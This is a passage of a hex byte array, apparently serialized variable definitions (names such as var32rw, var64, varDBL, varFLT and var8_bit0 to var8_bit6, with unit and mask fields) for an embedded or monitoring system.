0x04,0x00,0x20,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,
0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,
0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,
0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,
0x13,0x00,0x00,0x01,0x80,0x07,0x76,0x61,0x72,0x33,0x32,
0x72,0x77,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,
0x07,0x76,0x61,0x72,0x33,0x32,0x72,0x77,0x28,0x0D,0x00,
0x20,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,
0x28,0x2D,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,
0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,
0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,
0x00,0x01,0x80,0x05,0x76,0x61,0x72,0x36,0x34,0x04,0x75,
0x6E,0x69,0x74,0xC8,0x00,0x00,0x00,0x05,0x76,0x61,0x72,
0x36,0x34,0xC8,0x0C,0x00,0x20,0x08,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,
0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,
0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,
0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x08,0x76,0x61,
0x72,0x36,0x34,0x69,0x6E,0x63,0x04,0x75,0x6E,0x69,0x74,
0xC8,0x00,0x00,0x00,0x08,0x76,0x61,0x72,0x36,0x34,0x69,
0x6E,0x63,0x1C,0x04,0x00,0x20,0x08,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,
0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,
0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,
0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x07,0x76,0x61,
0x72,0x36,0x34,0x72,0x77,0x04,0x75,0x6E,0x69,0x74,0xE8,
0x03,0x00,0x00,0x07,0x76,0x61,0x72,0x36,0x34,0x72,0x77,
0xC0,0x0C,0x00,0x20,0x08,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,
0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,
0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,
0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x88,0x13,0x00,0x00,0x01,0x80,0x04,0x76,0x61,0x72,0x38,
0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,0x04,0x76,
0x61,0x72,0x38,0x35,0x0D,0x00,0x20,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,
0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,
0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,
0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x07,0x76,
0x61,0x72,0x38,0x69,0x6E,0x63,0x04,0x75,0x6E,0x69,0x74,
0xC8,0x00,0x00,0x00,0x07,0x76,0x61,0x72,0x38,0x69,0x6E,
0x63,0x04,0x04,0x00,0x20,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,0x6D,
0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,0x6E,
0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,
0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x06,0x76,0x61,0x72,
0x38,0x72,0x77,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,
0x00,0x06,0x76,0x61,0x72,0x38,0x72,0x77,0x34,0x0D,0x00,
0x20,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,
0x28,0x2D,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,
0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,
0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,
0x00,0x01,0x80,0x06,0x76,0x61,0x72,0x44,0x42,0x4C,0x04,
0x75,0x6E,0x69,0x74,0xC8,0x00,0x00,0x00,0x06,0x76,0x61,
0x72,0x44,0x42,0x4C,0x28,0x0C,0x00,0x20,0x08,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,
0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,
0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x09,
0x76,0x61,0x72,0x44,0x42,0x4C,0x69,0x6E,0x63,0x04,0x75,
0x6E,0x69,0x74,0xC8,0x00,0x00,0x00,0x09,0x76,0x61,0x72,
0x44,0x42,0x4C,0x69,0x6E,0x63,0x28,0x04,0x00,0x20,0x08,
0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,
0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,
0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,
0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,
0x80,0x08,0x76,0x61,0x72,0x44,0x42,0x4C,0x72,0x77,0x04,
0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,0x08,0x76,0x61,
0x72,0x44,0x42,0x4C,0x72,0x77,0x20,0x0C,0x00,0x20,0x08,
0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,
0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,
0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,
0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,
0x80,0x06,0x76,0x61,0x72,0x46,0x4C,0x54,0x04,0x75,0x6E,
0x69,0x74,0xC8,0x00,0x00,0x00,0x06,0x76,0x61,0x72,0x46,
0x4C,0x54,0x5C,0x0C,0x00,0x20,0x04,0x00,0x00,0x00,0x02,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,
0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,
0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,
0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,
0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x09,0x76,0x61,
0x72,0x46,0x4C,0x54,0x69,0x6E,0x63,0x04,0x75,0x6E,0x69,
0x74,0xC8,0x00,0x00,0x00,0x09,0x76,0x61,0x72,0x46,0x4C,
0x54,0x69,0x6E,0x63,0x24,0x04,0x00,0x20,0x04,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,
0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,
0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x08,
0x76,0x61,0x72,0x46,0x4C,0x54,0x72,0x77,0x04,0x75,0x6E,
0x69,0x74,0xE8,0x03,0x00,0x00,0x08,0x76,0x61,0x72,0x46,
0x4C,0x54,0x72,0x77,0x58,0x0C,0x00,0x20,0x04,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x6E,
0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,0x29,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,
0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,0x09,
0x76,0x61,0x72,0x38,0x5F,0x62,0x69,0x74,0x30,0x04,0x75,
0x6E,0x69,0x74,0x64,0x00,0x00,0x00,0x04,0x76,0x61,0x72,
0x38,0x35,0x0D,0x00,0x20,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0x6F,0x6E,0x65,0x20,
0x62,0x69,0x74,0x20,0x28,0x30,0x78,0x31,0x29,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,
0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,
0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x30,0x01,0x31,
0x01,0x31,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,
0x09,0x76,0x61,0x72,0x38,0x5F,0x62,0x69,0x74,0x31,0x04,
0x75,0x6E,0x69,0x74,0x64,0x00,0x00,0x00,0x04,0x76,0x61,
0x72,0x38,0x35,0x0D,0x00,0x20,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x0D,0x6F,0x6E,0x65,
0x20,0x62,0x69,0x74,0x20,0x28,0x30,0x78,0x31,0x29,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,
0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,
0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x30,0x01,
0x31,0x01,0x31,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,
0x80,0x09,0x76,0x61,0x72,0x38,0x5F,0x62,0x69,0x74,0x32,
0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,0x04,0x76,
0x61,0x72,0x38,0x35,0x0D,0x00,0x20,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x0D,0x6F,0x6E,
0x65,0x20,0x62,0x69,0x74,0x20,0x28,0x30,0x78,0x31,0x29,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x30,
0x01,0x31,0x01,0x31,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,
0x01,0x80,0x09,0x76,0x61,0x72,0x38,0x5F,0x62,0x69,0x74,
0x33,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,0x04,
0x76,0x61,0x72,0x38,0x35,0x0D,0x00,0x20,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x0D,0x6F,
0x6E,0x65,0x20,0x62,0x69,0x74,0x20,0x28,0x30,0x78,0x31,
0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,
0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x30,0x01,0x31,0x01,0x31,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,
0x00,0x01,0x80,0x09,0x76,0x61,0x72,0x38,0x5F,0x62,0x69,
0x74,0x34,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,
0x04,0x76,0x61,0x72,0x38,0x35,0x0D,0x00,0x20,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x0D,
0x6F,0x6E,0x65,0x20,0x62,0x69,0x74,0x20,0x28,0x30,0x78,
0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,
0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x30,0x01,0x31,0x01,0x31,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,
0x00,0x00,0x01,0x80,0x09,0x76,0x61,0x72,0x38,0x5F,0x62,
0x69,0x74,0x35,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,
0x00,0x04,0x76,0x61,0x72,0x38,0x35,0x0D,0x00,0x20,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x0D,0x6F,0x6E,0x65,0x20,0x62,0x69,0x74,0x20,0x28,0x30,
0x78,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,
0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x30,0x01,0x31,0x01,0x31,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,
0x13,0x00,0x00,0x01,0x80,0x09,0x76,0x61,0x72,0x38,0x5F,
0x62,0x69,0x74,0x36,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,
0x00,0x00,0x04,0x76,0x61,0x72,0x38,0x35,0x0D,0x00,0x20,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,
0x00,0x0D,0x6F,0x6E,0x65,0x20,0x62,0x69,0x74,0x20,0x28,
0x30,0x78,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,
0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
